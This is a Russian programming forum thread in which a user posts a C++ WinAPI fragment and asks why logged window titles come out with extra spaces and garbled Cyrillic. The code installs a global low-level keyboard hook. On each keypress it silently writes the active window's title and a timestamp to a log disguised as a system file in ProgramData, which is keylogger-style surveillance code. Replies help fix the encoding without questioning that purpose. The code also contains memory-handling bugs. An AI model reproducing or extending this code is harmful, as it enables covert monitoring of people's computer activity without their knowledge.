Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.56/18: Рейтинг темы: голосов - 18, средняя оценка - 4.56
2 / 2 / 1
Регистрация: 04.05.2015
Сообщений: 61

Считывание заголовка окна

03.10.2021, 14:02. Показов 3824. Ответов 25

Студворк — интернет-сервис помощи студентам
Доброго времени суток!
Это фрагмент кода одной большой программы. Этот фрагмент считывает заголовок окна и записывает в файл. Проблема заключается в том, что при записи в файл добавляются лишние пробелы после латинских букв а кирилицу выводит не понятными символами. Программа написана в Visual studio 2019.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <Windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <WinBase.h>>
#include <string>
#include <tchar.h>
#include <time.h>
 
 
const TCHAR szSystemLog[] = L"C://ProgramData//Systemlog.txt";
HANDLE hFile;
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT hkb;
 
 
 
 
int writeToFile(UINT keystroke)
{
    DWORD dwWrited = 0;
    DWORD dwBytesRead = 0;
 
    DWORD dwPos;
    LPCVOID lpvKey;
 
    static wchar_t lastwindow[256] = L"";
 
    if ((keystroke == 1) || (keystroke == 2))
    {
        return 0; // ignore mouse clicks
    }
 
    HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout = NULL;
    int cTxtLen;//довжина тексту
    char s[25];
 
    hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    }
    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (foreground)
        {
            // get keyboard layout of the thread
            threadID = GetWindowThreadProcessId(foreground, NULL);
            layout = GetKeyboardLayout(threadID);
        }
 
        if (foreground)
        {
            cTxtLen = GetWindowTextLength(foreground);//довжина тексту
            //char* window_title = new char[cTxtLen];//MultiByteToWideChar
            LPTSTR window_title;
            window_title = (TCHAR*)malloc(cTxtLen * sizeof(TCHAR));
            GetWindowTextW(foreground, (LPWSTR)window_title, cTxtLen);
            if (_tccmp(window_title, lastwindow) != 0)
            {
                _tccpy(lastwindow, window_title);
 
                // get time
                time_t t = time(NULL);
                struct tm tm;
                localtime_s(&tm, &t);
                strftime(s, sizeof(s), "%c", &tm);
 
                dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
                LockFile(hFile, dwPos, 0, dwBytesRead, 0);
                WriteFile(hFile, TEXT("\x0D\x0A[Window: "), lstrlenW(TEXT("\x0D\x0A[Window: ")) * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, window_title, cTxtLen * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, TEXT("- at "), lstrlenW(TEXT("- at ")) * sizeof(wchar_t), &dwWrited, NULL);
                WriteFile(hFile, s, sizeof(s), &dwWrited, NULL);
                WriteFile(hFile, TEXT("] "), lstrlenW(TEXT("] ")) * sizeof(wchar_t), &dwWrited, NULL);
                UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
            }
            //delete[] window_title;
            free(window_title);
 
        }
    }
    return 0;
}
 
LRESULT _stdcall HookCallBack(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode ==HC_ACTION)
    {
        if (wParam == WM_KEYDOWN)
        {
            
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            writeToFile(kbdStruct.vkCode);
        }
    }
 
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}
 
void SetHook()
{
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallBack, 0, 0)))
    {
        LPCTSTR a = L"error";
        LPCTSTR b = L"error";
        MessageBox(0, a, b, MB_ICONERROR);
    }
}
 
void relaseHook()
{
    UnhookWindowsHookEx(_hook);
}
 
 
int main()
{
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
}
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
03.10.2021, 14:02
Ответы с готовыми решениями:

Обновление заголовка окна
Для решения одной задачи требуется выводить количество кликов мышью в заголовке окна. Получается, изменяется только текст заголовка окна. А...

Поиск заголовка окна
Здравствуйте! Задача такова, есть функция &quot;FindWindowA&quot; она ищет заголовок окна по целому имени, но мне надо что-бы она искала только по...

Получить размер заголовка окна
Здравствуйте! Необходимо получить размер заголовка окна. Каким способом это можно сделать?

25
68 / 55 / 13
Регистрация: 26.07.2021
Сообщений: 191
04.10.2021, 10:57
Студворк — интернет-сервис помощи студентам
Цитата Сообщение от StillPhelix Посмотреть сообщение
Эксперименты с функцией WriteFile мне показали, что она (WriteFile) требует кодировку ANSI, а не unicode (выводит лишние пробелы).
WriteFile() из WinAPI не текстовая, а двоичная, ей глубоко безразлично, какие байты она выводит.
Если у Вас WriteFile() что-то изменяет в записываемых данных, значит, Вы подцепили какую-то другую функцию - не из WinAPI.

Добавлено через 5 минут
Цитата Сообщение от StillPhelix Посмотреть сообщение
Подскажите, пожалуйста, как правильно преобразовать буфер window_title в кодировку ANSI с помощью windows api?
В общем случае - никак. Потому что в уникодном тексте могут попасться символы, отсутствующие в выбранной кодировке ANSI.

Но если очень хочется именно ANSI, то проще не заниматься преобразованиями, а сразу получить желаемое с помощью GetWindowTextA()
0
2 / 2 / 1
Регистрация: 04.05.2015
Сообщений: 61
04.10.2021, 10:58  [ТС]
Цитата Сообщение от tiun Посмотреть сообщение
безразлично, какие байты она выводит
Поэтому ей и нужен буфер ANSI
0
68 / 55 / 13
Регистрация: 26.07.2021
Сообщений: 191
04.10.2021, 11:00
Цитата Сообщение от StillPhelix Посмотреть сообщение
Поэтому ей и нужен буфер ANSI
Ещё раз: она ничего не знает о каких-либо кодировках текста, потому что работает с просто байтами. Ей дали область памяти (буфер), сказали, сколько там байтов лежит - она эти байты в файл и записывает, не интересуясь их значениями.
0
2 / 2 / 1
Регистрация: 04.05.2015
Сообщений: 61
04.10.2021, 11:16  [ТС]
Цитата Сообщение от tiun Посмотреть сообщение
Ещё раз: она ничего не знает о каких-либо кодировках текста, потому что работает с просто байтами. Ей дали область памяти (буфер), сказали, сколько там байтов лежит - она эти байты в файл и записывает, не интересуясь их значениями.
Согласен. Просто ANSI однобайтовая. В этом случае кодировка - проблема програмиста.
0
68 / 55 / 13
Регистрация: 26.07.2021
Сообщений: 191
04.10.2021, 11:27
Да, ANSI - однобайтовая. Но понятие "кодировка" применимо только к текстовым данным, и, соответственно, влияет только на функции, предназначенные для работы с текстом. А WriteFile() - функция не текстовая, а двоичная, она работает с просто областью памяти, на которую ей указали.

Да в конце-концов, если мне нужно в файл килобайт нулевых байтов записать, то что, это невозможно? Нули - они ведь и в ANSI нули.
0
2 / 2 / 1
Регистрация: 04.05.2015
Сообщений: 61
04.10.2021, 18:40  [ТС]
Проблема решена. Для преобразования кодировки буфера я использовал функцию WideCharToMultiByte.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
04.10.2021, 18:40

Получить дескриптор дочернего окна без заголовка
Есть группа дочерних окон (кнопки, имя класса - V8FormElement), все кнопки без заголовков, spy++ пишет: заголовок&quot;&quot; Как...

Необходимо получить дескриптор дочернего окна не имея его заголовка
Доброго времени суток. Возникла следующая ситуация: необходимо получить дескриптор дочернего окна не имея его заголовка (оно...

Как сделать выравнивание по левому краю заголовка диалогового окна?
В свойствах диалога не нашел данной функции, на msdn нужной функции так же не нашел... Есть какие варианты? По средине как-то не очень...

Считывание заголовка wav файлов
Есть код: #include &lt;stdio.h&gt; #include &lt;tchar.h&gt; #include &lt;conio.h&gt; #include &lt;math.h&gt; // Структура, описывающая заголовок...

Удаление заголовка окна
Как сделать верхнюю панель окна как браузере? Тоесть оставить системные кнопки справа( закрыть, свернуть и тд), но удалить заголовок окна и...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
26
Ответ Создать тему
Новые блоги и статьи
Эксперимент с картинкой-обложкой на CodinGame
Adler 10.07.2026
Решил на днях провести эксперимент. У меня есть аккаунт на CodinGame, ТОП-3 по РФ среди 2200 участников (в разделе соревнования по программированию ИИ-ботов). Там есть обложка, куда можно влепить. . .
После бана на Пикабу не работает авторизация аккаунта с Яндекса.
Hrethgir 09.07.2026
В частности https:/ / auto. ru/ logbook/ zapret-na-vozhdenie-posle-65-let_1cf28789-07b4-4c75-a2f7-4cd4edf9deeb тут хотел оставить комментарий такой Зрите в корень - монополизация на разработку программ. . .
GitDOS: Когда я решил скрестить MS-DOS, GitHub и Claude
MaGz GoLd 08.07.2026
Привет, Киберфорум! Хочу поделиться своим проектом, который, надеюсь, вас заинтересует. GitDOS — это веб-приложение, которое позволяет запускать DOS в браузере с тремя крутыми фичами: диски живут в. . .
Учебный мини "цифровой двойник" = (Сервер = Java + Flask_питон )+(3D = Гугловскаая 4T nvideo + google colab) +( WMS = Odoo на Docker)
anaschu 07.07.2026
Увидел в требованиях к вакансии создателя имитационных моделей связку (REst + Api + WMS + Anylogic + питон + 3D Nvideo), и решил посмотреть, что это такое. Из этого всего я работал более менее. . .
Море в объективе
kumehtar 06.07.2026
Хотел написать много проникновенных слов, но передумал. Оно само - говорит. Кто слышит тот слышит.
Doom для терминала без стрельбы и монстров. 3D Raycasting на ascii.
dcc0 05.07.2026
Попросил нейронную сеть deepai. org написать рейкастинг 3D с библиотекой ncurses для Linux. Чтобы можно было ходить на стрелочки. Чтобы стены были отрисованы символами. Справилась. Первый вариант. . .
Установка статуса документа по условию
Maks 05.07.2026
Алгоритм из решения ниже реализован на нетиповом документе "НарядПутевка" разработанного в КА2. Задача: в табличной части "Материалы" документа при записи автоматически устанавливать статус. . .
Сезонность и суточность закисления почв
anaschu 04.07.2026
200 часов это все равно моловато. Есть ситуации, но нестандартные, когда смена происходит за 5 лет. Но обычно это 50 лет и более. Наверное, закисление почвы происходит сезонно в средней. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru